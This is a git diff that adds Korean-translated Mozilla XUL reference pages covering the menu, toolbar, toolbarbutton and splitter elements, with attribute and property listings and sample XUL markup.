이 이벤트 핸들러는 이미지 로딩이 완료 되었을때 image element에서 호출됩니다. This applies whether the image is applied via the src attribute or the list-style-image style property. If you change the image, the event will fire again when the new image loads. This event will not bubble up the element tree.
+
diff --git a/files/ko/mozilla/tech/xul/attribute/index.html b/files/ko/mozilla/tech/xul/attribute/index.html new file mode 100644 index 0000000000..6091401093 --- /dev/null +++ b/files/ko/mozilla/tech/xul/attribute/index.html @@ -0,0 +1,270 @@ +--- +title: Attributes +slug: Mozilla/Tech/XUL/Attribute +tags: + - XUL Attributes +translation_of: Archive/Mozilla/XUL/Attribute +--- +

« XUL Reference home

+ +

diff --git a/files/ko/mozilla/tech/xul/index.html b/files/ko/mozilla/tech/xul/index.html new file mode 100644 index 0000000000..d2517521b3 --- /dev/null +++ b/files/ko/mozilla/tech/xul/index.html @@ -0,0 +1,25 @@ +--- +title: XUL +slug: Mozilla/Tech/XUL +tags: + - XUL +translation_of: Archive/Mozilla/XUL +--- +
XUL 입문서
+처음 XUL을 시작하는 사람을 위한 안내서입니다. 원문은 XULPlanet 에 있습니다.
+
XUL (XML User Interface Language)은 Mozilla의 XML 기반 언어로 인터넷과 연결되거나 또는 연결되지 않은 채로 동작하는 풍부한 기능을 제공하는 크로스 플랫폼 응용프로그램을 만들 수 있게 해줍니다. 이렇게 만들어진 응용프로그램은 텍스트나 그래픽, 배치 등을 쉽게 바꿀 수 있기 때문에 여러가지 요구에 맞게 즉시 상품화나 지역화 해 내어놓을 수 있습니다. 다이나믹 HTML (DHTML)에 친숙한 웹 개발자들은 XUL을 금방 배워서 바로 응용프로그램을 만들어 볼 수 있을 것입니다. XUL 데모(demo)를 조금 보려면 Firefox나 다른 Gecko 기반 브라우저에서 XUL 주기표를 여세요.
+ +

문서

XUL 레퍼런스
MDC에 있는 prefwindow 관련 문서도 보시기 바랍니다.
XUL 컨트롤
XUL에서 사용할 수 있는 컨트롤들의 목록입니다.
XUL 개요
XUL의 주요 특징과 구성요소들을 설명합니다.
메뉴와 팝업 가이드
메뉴와 팝업 판넬 사용 가이드
템플릿 안내
데이터소스로 부터 컨텐츠를 만드는 방법인 XUL 템플릿에 대한 자세한 안내.
오버레이
XUL 오버레이에 대한 글. 오버레이는 UI에 대한 추가적인 내용을 기술하기 위해서 사용됩니다. 그럼으로써 기존의 XUL 애플리케이션을 확장하고 커스터마이징하는 강력한 수단을 제공합니다.
XUL 애플리케이션을 Firefox 3.0에 맞게 개조하기
XUL 개발자에 영향을 미치는 Firefox 3.0에서 바뀐 점.
XUL 애플리케이션을 Firefox 2.0에 맞게 개조하기
XUL 개발자에 영향을 미치는 Firefox 2.0에서 바뀐 점.
XUL 애플리케이션을 Firefox 1.5에 맞게 개조하기
XUL 개발자에 영향을 미치는 Firefox 1.5에서 바뀐 점.

모두 보기...

커뮤니티

  • Mozilla 포럼 보기...

도구

+ +

모두 보기...

관련 주제

JavaScript, XBL, CSS, RDF, 확장 기능, XULRunner
+

Categories

+

Interwiki Language Links

+

 

+

diff --git a/files/ko/mozilla/tech/xul/menu/index.html b/files/ko/mozilla/tech/xul/menu/index.html new file mode 100644 index 0000000000..fa3a01a593 --- /dev/null +++ b/files/ko/mozilla/tech/xul/menu/index.html @@ -0,0 +1,338 @@ +--- +title: menu +slug: Mozilla/Tech/XUL/menu +translation_of: Archive/Mozilla/XUL/menu +--- +
+ + « XUL Reference home [ + 예제 | + Attributes | + Properties | + Methods | + 관련 항목 ] +
+

이 엘리먼트는 menubar에 위치한 button과 비슷합니다. 사용자가 menu 엘리먼트를 클릭하면 menupopup의 자식 메뉴를 표시해 줍니다.  menupopup엘리먼트는 서브메뉴를 만듭니다.

+

더자세한 정보는 XUL tutorial를 참고하세요.

+
+
+ Attributes
+
+ acceltext, accesskey, allowevents, command, crop, disabled, image, label, menuactive, open, sizetopopup, tabindex, value
+
+
+
+ Properties
+
+ accessibleType, accessKey, command, control, crop, disabled, image, itemCount, label, labelElement, menupopup, open, parentContainer, selected, tabIndex, value
+
+
+
+ Methods
+
+ appendItem, getIndexOfItem, getItemAtIndex, insertItemAt, removeItemAt
+
+ Style classes
+
+ menu-iconic
+
+

Example

+
<menubar id="sample-menubar">
+  <menu id="file-menu" label="File">
+    <menupopup id="file-popup">
+      <menuitem label="New"/>
+      <menuitem label="Open"/>
+      <menuitem label="Save"/>
+      <menuseparator/>
+      <menuitem label="Exit"/>
+    </menupopup>
+  </menu>
+  <menu id="edit-menu" label="Edit">
+    <menupopup id="edit-popup">
+      <menuitem label="Undo"/>
+      <menuitem label="Redo"/>
+    </menupopup>
+  </menu>
+</menubar>
+
+

Attributes

+

+ +
+
+ acceltext
+
+ Type: string
+
+ Text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the command. If this value is set, it overrides an assigned key set in the key attribute. This attribute does not apply to menus directly on the menubar.
+
+
+ + +
+
+ accesskey
+
+ 타입: + + character +
+
+ 이 속성에는 단축키로 사용될 문자를 지정합니다. 문자는 대상 요소의 label 속성값인 텍스트에 포함된 문자 중 하나를 사용하는 것이 좋습니다. + +
+
+

예제

+
+ Image:XUL_ref_accesskey_attr.png
+
<vbox>
+  <label value="Enter Name" accesskey="e" control="myName"/>
+  <textbox id="myName"/>
+  <button label="Cancel" accesskey="n"/>
+  <button label="Ok" accesskey="O"/>
+</vbox>
+
+

또 볼 곳

+

label attribute, acceltext attribute

+ +

+
+ +
+
allowevents
+
Type: boolean
+
If true, events are passed to children of the element. Otherwise, events are passed to the element only.
+
+ + + + +
+ +
+
+ crop
+
+ Type: one of the values below
+
+ If the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. An ellipsis will be used in place of the cropped text. If the box direction is reversed, the cropping is reversed.
+
+
+
+ start
+
+ The text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
+
+ end
+
+ The text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.
+
+ left
+
+ The text will be cropped on its left side.
+
+ right
+
+ The text will be cropped on its right side.
+
+ center
+
+ The text will be cropped in the middle, showing both the start and end of the text normally.
+
+ none
+
+ The text will be not be cropped using an ellipsis. However, the text will simply be cut off if it is too large. The side depends on the CSS text alignment.
+
+
+
+ Depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. If you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width CSS property (or the maxwidth attribute) to override this size. For example, for a menuitem in a menu you can add the following CSS rule when you want to use the value none:
+
+
menupopup > menuitem, menupopup > menu { max-width: none; }
+
+
+
+
+ + +
+
disabled
+
Type: boolean
+
Indicates whether the element is disabled or not. If this attribute is set, the element is disabled. Disabled elements are usually drawn with grayed-out text. If the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. In the case of form elements, it will not be submitted. Do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. + +
The disabled attribute is allowed only for form controls. Using it with an anchor tag (an <a> link) will have no effect.
+ +
+ The element will, however, still respond to mouse events. To enable the element, leave this attribute out entirely.
+
+
Visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
+
+ + +
+ + +
+
label
+
Type: string
+
The label that will appear on the element. If this is left out, no text appears. For an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem.
+
+ + +
+ + +
+
menuactive
+
Type: boolean
+
This attribute is set on an item in a menu when it is being hovered over. Typcially, the theme will use this to highlight the item. A DOMMenuItemActive event will be sent to the item when the item is hovered over, and a DOMMenuItemInactive event will be sent to the item when the selection moves away.
+
+
+ + +
+
open
+
Type: boolean
+
For the menu type buttons, the open attribute is set to true when the menu is open. The open attribute is not present if the menu is closed.
+
+
+ + +
+
sizetopopup
+
Type: one of the values below
+
Indicates how the menu width and the menupopup width are determined. If the sizetopopup attribute is left out or set to none, the menu will be its preferred width and the popup may extend outside of this width, unaffected by the maximum width of the menu itself. Otherwise, the menu will size itself to at least the size of the popup. If the menu has a maximum width, the popup will also be this width.
+
+
+
none
+
The width of the popup will not be constrained to the size of the menu.
+
pref
+
The preferred width of the menu label or button will be the size needed for the popup contents. This is the default value for menulists.
+
always
+
Both the preferred and minimum width of the menu label or button will be the same as that necessary for the menupopup.
+
+
+
+
+ + +
+
value
+
Type: string
+
The string attribute allows you to associate a data value with an element. It is not used for any specific purpose, but you can access it with a script for your own use. Be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) Use another attribute like "value2" or "data-myAtt" (as in the HTML5 draft), as XUL does not require validation (less future-proof); 2) Use setAttributeNS() to put custom attributes in a non-XUL namespace (serializable and future-proof); 3) Use setUserData() (future-proof and clean, but not easily serializable). For user editable menulist elements, the contents, as visible to the user, are read and set using the Menulist.value syntax. For those elements, setAttribute("value", myValue) and getAttribute("value") do not access or affect the contents displayed to the user.
+
+ + + +

 

+

+

Properties

+

+
+
+ accessibleType
+
+ Type: integer
+
+ A value indicating the type of accessibility object for the element.
+
+
+ +
+
control
+
Type: menu element
+
Returns the enclosing menu that the item is inside, if any, or null if there is no enclosing menu.
+
+
+
itemCount
+
Type: integer
+
Read only property holding the number of child items.
+
+
+ +
+
menupopup
+
Type: menupopup element
+
A reference to the menupopup used by the menu or menulist. This property is read-only.
+
+
+
+ open
+
+ Type: boolean
+
+ This property will be set to true when the menu is open. The menu may be opened by setting the open property to true and closed by setting it to false.
+
+ +
+
parentContainer
+
Type: menu element
+
Read only property that returns the containing menu element, or null if there isn't a containing menu.
+
+
+
+ value
+
+ Type: string
+
+ Gets and sets the value of the value attribute. For textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the Textbox.value and Menulist.value syntax.
+
+ +

 

+

Methods

+

+ + + + + +
+

Inherited Methods
+addEventListener(), appendChild(), blur, click, cloneNode(), compareDocumentPosition, dispatchEvent(), doCommand, focus, getAttribute(), getAttributeNode(), getAttributeNodeNS(), getAttributeNS(), getBoundingClientRect(), getClientRects(), getElementsByAttribute, getElementsByAttributeNS, getElementsByClassName(), getElementsByTagName(), getElementsByTagNameNS(), getFeature(), getUserData, hasAttribute(), hasAttributeNS(), hasAttributes(), hasChildNodes(), insertBefore(), isDefaultNamespace(), isEqualNode, isSameNode, isSupported(), lookupNamespaceURI, lookupPrefix, normalize(), querySelector(), querySelectorAll(), removeAttribute(), removeAttributeNode(), removeAttributeNS(), removeChild(), removeEventListener(), replaceChild(), setAttribute(), setAttributeNode(), setAttributeNodeNS(), setAttributeNS(), setUserData

+ +
+
+ appendItem( label, value )
+
+ Return type: element
+
+ Creates a new item and adds it to the end of the existing list of items. You may optionally set a value. The function returns the newly created element.
+
+
getIndexOfItem( item )
+
Return type: integer
+
Returns the zero-based position of the specified item. Items are numbered starting at the first item displayed in the list.
+
+
getItemAtIndex( index )
+
Return type: element
+
Returns the element that is at the specified index.
+
+
+ insertItemAt( index, label, value )
+
+ Return type: element
+
+ This method creates a new item and inserts it at the specified position. You may optionally set a value. The new item element is returned.
+
+
+ removeItemAt( index )
+
+ Return type: element
+
+ Removes the child item in the element at the specified index. The method returns the removed item.
+

+

Style classes

+

menu-iconic
Use this class to have an image appear on the menu. Specify the image using the image attribute.
+

+ +
+
+ Elements
+
+ menubar, menuitem, menulist, menupopup, menuseparator
+
+
+
+ Interfaces
+
+ nsIAccessibleProvider, nsIDOMXULContainerElement, nsIDOMXULContainerItemElement, nsIDOMXULSelectControlItemElement
+
+

diff --git a/files/ko/mozilla/tech/xul/property/index.html b/files/ko/mozilla/tech/xul/property/index.html new file mode 100644 index 0000000000..f9c5eb52b4 --- /dev/null +++ b/files/ko/mozilla/tech/xul/property/index.html @@ -0,0 +1,219 @@ +--- +title: Property +slug: Mozilla/Tech/XUL/Property +tags: + - XUL Properties +translation_of: Archive/Mozilla/XUL/Property +--- +

« XUL Reference

+ +

관련 DOM 요소 properties

+ +

diff --git a/files/ko/mozilla/tech/xul/splitter/index.html b/files/ko/mozilla/tech/xul/splitter/index.html new file mode 100644 index 0000000000..863f3c76db --- /dev/null +++ b/files/ko/mozilla/tech/xul/splitter/index.html @@ -0,0 +1,79 @@ +--- +title: splitter +slug: Mozilla/Tech/XUL/splitter +translation_of: Archive/Mozilla/XUL/splitter +--- +

<?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin" type="text/css"?>

+

<window title="XUL Splitters"

+
       xmlns:html="http://www.w3.org/1999/xhtml"
+       xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul">
+
+

<script> <![CDATA[

+

]]> </script>

+

<description><html:h1>XUL Splitters</html:h1></description>

+
<vbox flex="1" style="overflow: auto">
+
+
   <groupbox orient="horizontal" flex="1">
+   <caption label="collapse before" />
+     <groupbox flex="1"><label flex="1" value="Left side" /></groupbox>
+     <splitter collapse="before" ><grippy /></splitter>
+     <groupbox flex="1"><label flex="1" value="Right side" /></groupbox>
+   </groupbox>
+
+
   <groupbox orient="horizontal" flex="1">
+   <caption label="collapse after" />
+     <groupbox flex="1"><label flex="1" value="Left side" /></groupbox>
+     <splitter collapse="after" ><grippy /></splitter>
+     <groupbox flex="1"><label flex="1" value="Right side" /></groupbox>
+   </groupbox>
+
+
   <groupbox orient="horizontal" flex="1">
+   <caption label="no collapse" />
+     <groupbox flex="1"><label flex="1" value="Left side" /></groupbox>
+     <splitter collapse="none" />
+     <groupbox flex="1"><label flex="1" value="Right side" /></groupbox>
+  </groupbox>
+
+
 <groupbox  orient="horizontal" flex="1">
+ <caption label="resize the closest widgets on both sides" />
+   <groupbox flex="1"><description>Left most side</description></groupbox>
+   <groupbox flex="1"><description>Middle Left side</description></groupbox>
+   <groupbox flex="1"><description>Closest Left side</description></groupbox>
+   <splitter collapse="none" resizebefore="closest" resizeafter="closest" />
+   <groupbox flex="1"><description>Closest Right side</description></groupbox>
+   <groupbox flex="1"><description>Middle Right side</description></groupbox>
+   <groupbox flex="1"><description>Right most side</description></groupbox>
+ </groupbox>
+
+
 <groupbox  orient="horizontal" flex="1">
+ <caption label="resize the farthest widgets on both sides" />
+   <groupbox flex="1"><description>Left most side</description></groupbox>
+   <groupbox flex="1"><description>Middle Left side</description></groupbox>
+   <groupbox flex="1"><description>Closest Left side</description></groupbox>
+   <splitter collapse="none" resizebefore="farthest" resizeafter="farthest" />
+   <groupbox flex="1"><description>Closest Right side</description></groupbox>
+   <groupbox flex="1"><description>Middle Right side</description></groupbox>
+   <groupbox flex="1"><description>Right most side</description></groupbox>
+ </groupbox>
+
+

 

+
 <groupbox orient="horizontal" flex="1">
+ <caption label="grow the widgets on the right side" />
+   <groupbox flex="1"><description>Left side</description></groupbox>
+   <splitter collapse="none" resizebefore="grow" resizeafter="grow" />
+   <groupbox flex="1"><description>Closest Right side</description></groupbox>
+   <groupbox flex="1"><description>Middle Right side</description></groupbox>
+   <groupbox flex="1"><description>Right most side</description></groupbox>
+ </groupbox>
+
+
 <groupbox orient="horizontal" flex="1">
+ <caption label="double splitters" />
+     <groupbox flex="1"><label flex="1" value="Left side" /></groupbox>
+     <splitter collapse="before" ><grippy /></splitter>
+     <groupbox flex="1"><label flex="1" value="Middle" /></groupbox>
+     <splitter collapse="after" ><grippy /></splitter>
+     <groupbox flex="1"><label flex="1" value="Right side" /></groupbox>
+ </groupbox>
+
+

</vbox>

+

</window>

diff --git a/files/ko/mozilla/tech/xul/template_guide/index.html b/files/ko/mozilla/tech/xul/template_guide/index.html new file mode 100644 index 0000000000..0d769a66de --- /dev/null +++ b/files/ko/mozilla/tech/xul/template_guide/index.html @@ -0,0 +1,52 @@ +--- +title: Template Guide +slug: Mozilla/Tech/XUL/Template_Guide +tags: + - XUL + - XUL_Template_Guide +translation_of: Archive/Mozilla/XUL/Template_Guide +--- +

 

+
XUL 템플릿 개요
+ +
템플릿 문법
+ +
다중 규칙
+ +
템플릿 수정 방법
+ +
관련 주제
+ +

Interwiki Language Links

+

diff --git a/files/ko/mozilla/tech/xul/toolbar/index.html b/files/ko/mozilla/tech/xul/toolbar/index.html new file mode 100644 index 0000000000..3efda02e8c --- /dev/null +++ b/files/ko/mozilla/tech/xul/toolbar/index.html @@ -0,0 +1,218 @@ +--- +title: toolbar +slug: Mozilla/Tech/XUL/toolbar +tags: + - MDC Project + - NeedsTechnicalReview + - XUL Elements + - XUL Reference +translation_of: Archive/Mozilla/XUL/toolbar +--- +
+ + « XUL Reference home [ + 예제 | + Attributes | + Properties | + Methods | + 관련 항목 ] +
+

보통 한 줄로 된 버튼들을 포함하는 컨테이너로 기본적으로 내부 요소가 수평으로 나열되는 상자의 한 유형입니다. toolbartoolbox 내에 위치할 경우 grippy를 이용하여 접혀질 수 있습니다. 툴바는 항상 id 속성을 가져야 합니다. Firefox에서는 사용자 지정 툴바(도구 모음)를 지원하지만, Mozilla 브라우저는 지원하지 않습니다.

+

좀 더 자세한 사항은 XUL tutorial를 참조하세요.

+
+
+ Attributes
+
+ currentset, customindex, customizable, defaultset, grippyhidden, grippytooltiptext, mode, toolbarname
+
+
+
+ Properties
+
+ accesible, currentSet, firstPermanentChild, lastPermanentChild, toolbarName
+
+
+
+ Methods
+
+ insertItem
+
+

예제

+
+ Image:XUL_ref_toolbar.png
+
<toolbox>
+  <toolbar id="nav-toolbar">
+    <toolbarbutton id="nav-users"  accesskey="U" label="Users"/>
+    <toolbarbutton id="nav-groups" accesskey="p" label="Groups"/>
+    <toolbarbutton id="nav-events" accesskey="E" label="Events" disabled="true"/>
+  </toolbar>
+</toolbox>
+
+

Attributes

+

+ +
+
+ currentset
+
+ Firefox only
+
+ 타입: + + comma-separated string +
+
+ 현재 toolbar에 출력되는 항목의 집합입니다. 이 집합은 사용자가 툴바를 커스터마이징(사용자 지정) 할 경우 변경될 수 있습니다. 속성값은 쉼표(,)로 분리된 toolbarpalette에 있는 항목들의 ID 목록이어야 하며, 추가적으로 "separator", "spring", "spacer"의 문자열을 포함할 수 있습니다.
+
+

this isn't necessary the *current* set, i.e. it might not be equal the value of the currentSet property which is computed from the actual DOM

+
+ + +
+
customindex
+
Not in SeaMonkey 1.x
+
Type: integer
+
This value is the index of the toolbar in the list of the custom toolbars. The value is updated automatically by the toolbar customization dialog.
+
+
+ + +
+
customizable
+
Not in SeaMonkey 1.x
+
Type: boolean
+
Set this attribute to true on toolbars that can be customized. This causes the set of buttons to be persisted across sessions.
+
+
+ + +
+
defaultset
+
Not in SeaMonkey 1.x
+
Type: comma-separated list of item ids
+
The default set of displayed items on the toolbar. This should be set to a comma-separated list of item IDs from the toolbarpalette. For example, back-button,forward-button,print-button.
+
+
+ + +
+
grippyhidden
+
SeaMonkey only
+
Type: boolean
+
When set to true, the grippy will be hidden. When set to false, the default, the grippy will be shown.
+
+
+ + +
+
grippytooltiptext
+
SeaMonkey only
+
Type: string
+
The text to appear on the tooltip for the toolbar's grippy when the toolbar is collapsed. This would be used to label the grippy so that the user knows which toolbar it represents.
+
+
+ + +
+
mode
+
Not in SeaMonkey 1.x
+
Type: one of the values below
+
How the toolbarbuttons on the toolbar are displayed.
+
+
+
icons
+
Show only icons.
+
text
+
Show only text.
+
full
+
Show both.
+
+
+
+
+ + +
+
toolbarname
+
Not in SeaMonkey 1.x
+
Type: string
+
The name of the toolbar, which is listed on the Show/Hide toolbars menu.
+
+

+

Properties

+

+
+
+ accessible
+
+ Type: nsIAccessible
+
+ Returns the accessibility object for the element.
+
+ +
+
currentSet
+
Not in SeaMonkey 1.x
+
Type: comma-separated list of strings
+
Holds a comma-separated list of the IDs of the items currently on the toolbar. For spacers, separators, and flexible spacers the following strings are used instead of IDs: "spacer", "separator", "spring". An empty toolbar has a currentSet value of "__empty".
+
+ +
+
You may change the current set of items by setting this property. Be careful, as setting this property doesn't automatically update the currentset attribute.
+
+ +
+
firstPermanentChild
+
Not in SeaMonkey 1.x
+
Type: element
+
The first permanent child of the toolbar. A permanent child is one that is not customizable and remains on the toolbar. Items that are placed directly inside the toolbar without being in the toolbarpalette are permanent.
+
+ +
+
lastPermanentChild
+
Not in SeaMonkey 1.x
+
Type: element
+
The last permanent child of the toolbar. A permanent child is one that is not customizable and remains on the toolbar. Items that are placed directly inside the toolbar without being in the toolbarpalette are permanent.
+
+
+
+ toolbarName
+
+ Not in SeaMonkey 1.x
+
+ Type: string
+
+ The name of the toolbar.
+

+

Methods

+

+
insertItem( id, beforeNode, wrapper, beforePermanent )
+
Not in SeaMonkey 1.x
+
Return type: element
+
Add an item with the given id to the toolbar. The new item is added just before the item given by the second argument. If the second argument is null, but the beforePermanent argument is true, the item is added to the beginning of the toolbar before the first permanent item. Otherwise, if the beforePermanent argument is false, the new item is added to the end of the toolbar. The third argument can be used to wrap the new item in another element. Usually, the last argument will be null as it is mainly for the use of the customize dialog.
+
+ +

The id should match an element in the toolbar's toolbarpalette. Some special ids may also be used to create special spacing items:

+ + + +

The method returns the DOM element for the created item.

+

XUL 요소에서 상속됨
blur, click, doCommand, focus, getElementsByAttribute

DOM 요소에서 상속됨
addEventListener(), appendChild(), dispatchEvent(), getAttribute(), getAttributeNode(), getAttributeNodeNS(), getAttributeNS(), getElementsByTagName(), getElementsByTagNameNS(), hasAttribute(), hasAttributeNS(), hasAttributes(), hasChildNodes(), insertBefore(), isSupported(), normalize(), removeAttribute(), removeAttributeNode(), removeAttributeNS(), removeChild(), removeEventListener(), replaceChild(), setAttribute(), setAttributeNode(), setAttributeNodeNS(), setAttributeNS()

+ +
+
+ Elements
+
+ toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox
+
+
+
+ Interfaces
+
+ nsIAccessibleProvider
+
+

diff --git a/files/ko/mozilla/tech/xul/toolbarbutton/index.html b/files/ko/mozilla/tech/xul/toolbarbutton/index.html new file mode 100644 index 0000000000..b494ade76e --- /dev/null +++ b/files/ko/mozilla/tech/xul/toolbarbutton/index.html @@ -0,0 +1,477 @@ +--- +title: toolbarbutton +slug: Mozilla/Tech/XUL/toolbarbutton +translation_of: Archive/Mozilla/XUL/toolbarbutton +--- +
+ + « XUL Reference home [ + 예제 | + Attributes | + Properties | + Methods | + 관련 항목 ] +
+

toolbar에 올라가는 버튼입니다. 일반 button과 유사하지만 조금 다르게 출력됩니다. 보통 이미지를 포함합니다.

+

자세한 사항은 XUL tutorial를 참조하세요.

+
+
+ Attributes
+
+ accesskey, autoCheck, checkState, checked, command, crop, dir, disabled, dlgType, group, image, label, open, orient, tabindex, type, validate
+
+
+
+ Properties
+
+ accessKey, accessible, autoCheck, checkState, checked, command, crop, dir, disabled, dlgType, group, image, label, open, orient, tabIndex, type
+
+

예제

+

(example needed)

+

Attributes

+

+ + +
+
+ accesskey
+
+ 타입: + + character +
+
+ 이 속성에는 단축키로 사용될 문자를 지정합니다. 문자는 대상 요소의 label 속성값인 텍스트에 포함된 문자 중 하나를 사용하는 것이 좋습니다. + +
+
+

예제

+
+ Image:XUL_ref_accesskey_attr.png
+
<vbox>
+  <label value="Enter Name" accesskey="e" control="myName"/>
+  <textbox id="myName"/>
+  <button label="Cancel" accesskey="n"/>
+  <button label="Ok" accesskey="O"/>
+</vbox>
+
+

또 볼 곳

+

label attribute, acceltext attribute

+ +

+
+ + +
+
autocheck
+
Type: boolean
+
If this attribute is true or left out, the checked state of the button will be switched each time the button is pressed. If this attribute is false, the checked state must be adjusted manually. When autocheck is true, the button type should be "checkbox" or "radio".
+
+
+ + +
+
checkState
+
Type: integer, values 0, 1, or 2
+
This attribute may be used to create three state buttons, numbered 0, 1 and 2. When in state 0 or 1, pressing the button will switch to the opposite state. When in state 2, pressing the button will switch to state 0. This means that the button acts like a checkbox except that there is a third state which must be set manually by adjusting the check state. If you wish to have different behavior for how the states are adjusted, set the autoCheck attribute to false and adjust the state with a script. The type attribute must be set to checkbox for buttons with a check state. Constants for the possible values for this attribute are in the nsIDOMXULButtonElement interface.
+
+
+ + +
+
checked
+
Type: boolean
+
Indicates whether the element is checked or not.
+
Use hasAttribute() to determine whether this attribute is set instead of getAttribute().
+
For buttons, the type attribute must be set to checkbox or radio for this attribute to have any effect.
+
+
+ + +
+
command
+
Type: id
+
Set to the id of a command element that is being observed by the element.
+
+ + +
+ +
+
+ crop
+
+ Type: one of the values below
+
+ If the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. An ellipsis will be used in place of the cropped text. If the box direction is reversed, the cropping is reversed.
+
+
+
+ start
+
+ The text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
+
+ end
+
+ The text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.
+
+ left
+
+ The text will be cropped on its left side.
+
+ right
+
+ The text will be cropped on its right side.
+
+ center
+
+ The text will be cropped in the middle, showing both the start and end of the text normally.
+
+ none
+
+ The text will be not be cropped using an ellipsis. However, the text will simply be cut off if it is too large. The side depends on the CSS text alignment.
+
+
+
+ Depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. If you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width CSS property (or the maxwidth attribute) to override this size. For example, for a menuitem in a menu you can add the following CSS rule when you want to use the value none:
+
+
menupopup > menuitem, menupopup > menu { max-width: none; }
+
+
+
+
+ + +
+
dir
+
Type: one of the values below
+
The direction in which the child elements of the element are placed. +
+
normal
+
For scales, the scale's values are ordered from left to right (for horizontal scales) or from top to bottom (for vertical scales)  For other elements, the elements are placed left to right or top to bottom in the order they appear in the XUL code.
+
reverse
+
For scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales). For other elements, they are placed right to left or bottom to top. This is reverse of the order in which they appear in the XUL code.
+
+
+
+ + +
+ + +
+
disabled
+
Type: boolean
+
Indicates whether the element is disabled or not. If this attribute is set, the element is disabled. Disabled elements are usually drawn with grayed-out text. If the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. In the case of form elements, it will not be submitted. Do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. + +
The disabled attribute is allowed only for form controls. Using it with an anchor tag (an <a> link) will have no effect.
+ +
+ The element will, however, still respond to mouse events. To enable the element, leave this attribute out entirely.
+
+
Visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
+
+ + +
+ + +
+
dlgtype
+
Type: one of the values below
+
The dialog type of the button, used only when the button is in a dialog box. You can use this feature to replace the standard dialog box buttons with custom buttons, yet the dialog event methods will still function. For example, if the dlgType is set to accept, the button will replace the dialog box's accept button, which is usually labeled OK. Using this attribute on a button that is not in a dialog box has no effect. The following values can be used as the dialog type:
+
+
+
accept
+
The OK button, which will accept the changes when pressed.
+
cancel
+
The cancel button which will cancel the operation.
+
help
+
A help button for displaying help about the dialog.
+
disclosure
+
A button to show more information. This might be a button or a disclosure triangle.
+
extra1
+
An optional additional button.
+
extra2
+
A second optional additional button.
+
+
+
+
+ + +
+
group
+
Type: string group name
+
Buttons with type="radio" and the same value for their group attribute are put into the same group. Only one button from each group can be checked at a time. If the user selects one the buttons, the others in the group are unchecked.
+
+
+ +
+
image
+
Type: URI
+
The URI of the image to appear on the element. If this attribute is empty or left out, no image appears. The position of the image is determined by the dir and orient attributes.
+
+ + + +
+ + +
+
label
+
Type: string
+
The label that will appear on the element. If this is left out, no text appears. For an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem.
+
+ + +
+ + +
+
open
+
Type: boolean
+
For the menu type buttons, the open attribute is set to true when the menu is open. The open attribute is not present if the menu is closed.
+
+
+ + +
+
orient
+
Type: one of the values below
+
Used to specify whether the children of the element are oriented horizontally or vertically. The default value depends on the element. You can also use the -moz-box-orient style property. +
+
horizontal
+
Child elements of the element are placed next to each other in a row in the order that they appear in the XUL source.
+
vertical
+
Child elements of the element are placed under each other in a column in the order that they appear in the XUL source.
+
+
+
+ + +
+ + +
+
tabindex
+
Type: integer
+
The tab order of the element. The tab order is the order in which the focus is moved when the user presses the "tab" key. Elements with a higher tabindex are later in the tab sequence.
+
+
+ + +
+
type
+
Type: string
+
The type of button. If this attribute is not present, a normal button is created. You can set this attribute to the value menu to create a button with a menu popup. This will typically cause the button to be displayed differently.
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Examples:
type value<toolbarbutton >
 Toolbarbutton without a type attribute
menuToolbarbutton with type attribute equals "menu"
menu-buttonToolbarbutton with type attribute equals "menu-button"
checkboxToolbarbutton with type attribute equals "checkbox"
radioToolbarbutton with type attribute equals "radio"
+ + +
+ + +
+
validate
+
Type: one of the values below
+
This attribute indicates whether to load the image from the cache or not. This would be useful if the images are stored remotely or you plan on swapping the image frequently. The following values are accepted, or leave out the attribute entirely for default handling:
+
+
+
always
+
The image is always checked to see whether it should be reloaded.
+
never
+
The image will be loaded from the cache if possible.
+
+
+
+

+

Properties

+

+
+
+ accessKey
+
+ Type: character
+
+ Gets and sets the value of the accesskey attribute.
+
+
+
+ accessible
+
+ Type: nsIAccessible
+
+ Returns the accessibility object for the element.
+
+ +
+
autoCheck
+
Type: boolean
+
Gets and sets the value of the autoCheck attribute.
+
+
+
+ checkState
+
+ Type: integer, values 0, 1, or 2
+
+ Gets and sets the value of the checkState attribute.
+
+
+
+ checked
+
+ Type: boolean
+
+ Gets and sets the value of the checked attribute.
+
+ +
+
command
+
Type: element id
+
Gets and sets the value of the command attribute.
+
+
+
+ crop
+
+ Type: string
+
+ Gets and sets the value of the crop attribute.
+
+
+
+ dir
+
+ Type: string
+
+ Gets and sets the value of the dir attribute.
+
+
+
+ disabled
+
+ Type: boolean
+
+ Gets and sets the value of the disabled attribute.
+
+
+ +
+
dlgType
+
Type: string
+
Gets and sets the value of the dlgType attribute.
+
+ +
+
group
+
Type: string group name
+
Gets and sets the value of the group attribute.
+
+
+
+ image
+
+ Type: image URL
+
+ Gets and sets the value of the image attribute.
+
+
+
+ label
+
+ Type: string
+
